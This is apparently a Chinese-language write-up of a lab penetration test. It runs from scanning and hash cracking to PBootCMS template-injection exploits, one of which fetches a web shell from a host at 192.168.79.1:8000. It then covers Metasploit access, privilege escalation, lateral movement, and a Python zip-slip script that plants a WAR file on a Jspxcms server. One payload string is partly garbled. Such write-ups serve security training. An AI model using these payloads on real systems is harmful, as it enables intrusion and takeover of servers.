信息收集

使用nmap 判断找到ip

得到ip

192.168.79.179
端口信息收集

web 打点

21

尝试爆破ftp

没有结果

22

爆破，没有结果

80

cms

尝试web 路径爆破

并没有什么作用

根据提示绑定域名

C:\WINDOWS\system32\drivers\etc

打开hosts

添加这个

出现了一个神奇玩意儿

尝试爆破一下路径

尝试观看日志

发现版本

下载config

获取了sqlite

会获取db 文件，然后尝试连接

获取密码

8187bef2c0b83e6b0b747d92b0a65eb1

尝试解密

两次解密获取密码

admin7788

尝试登录

登录成功

CVE-2020-23580 PBootCMS安全漏洞浅析 - 先知社区 (aliyun.com)

根据漏洞利用，写info

1	`{pbootpbootpboot:if:if:if(fputs(fopen("info.php","w"),"<?php+".chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111)."();?>"))}yyy{/pbootpbootpboot:if:if:if}`

url 编码

1	`{pbootpbootpboot:if:if:if(fputs(fopen("info.php","w"),"<?php ".chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111)."();?>"))}yyy{/pbootpbootpboot:if:if:if}`

然后。。。并没有反应

尝试第二个方法

利用失败

尝试第三个方法

添加payload

{pboot:if(implode('',['f','i','l','e','_','p','u'.'t','_c','o','n','t','e','n','t','s'])(implode('',['3','.php']), implode('',['<dut_','contentsd,'"shell.php",','file','_get_','contents("','http://192.168.79.1:8000/getshell.txt"))?>'])))}!!!{/pboot:if}

注意将对应的ip 改成自己的http server 的服务

注意提交

然后随便访问3.php

可见成功写入

尝试访问shell.php

没有丝毫问题

尝试蚁剑连接

上线msf

生成一个payload

上传到靶机

开启监听

上线

发现不能执行，使用蚁剑绕过

然后执行就发现上线了

搜索提权漏洞（msf 使用getsystem 会有点问题，就直接搜索漏洞提权）

使用第二个提权成功

查到flag

除此之外还可以使用 docker 进行提权

官方的wp 是通过下载对方的私钥然后及进行ssh

然后使用docker 进行提权

内网信息收集

网段信息收集
使用fscan 进行信息收集

尝试

并没有发现什么
nmap

发现没有nmap 下载一个

发现还存在178 果然还得是namp
178 端口信息收集

内网横向移动

178 8080

又是一个cms

发现登录页面，并且没有验证码，本来想爆破的，但是直接试出来了

admin

123456

找一下漏洞

在最底端发现后台

一次历史漏洞分析与复现的全部过程_jspxcms idea-CSDN博客

制作恶意的zip

import zipfile 
if __name__ == "__main__":
    try:
        binary = b'test' 
        zipFile = zipfile.ZipFile("test.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("test.zip")
        with open('ant.war', 'rb') as file:
            binary_data = file.read()
            zipFile.writestr("../../../ant.war", binary_data)
        zipFile.close() 
    except IOError as e:
        raise e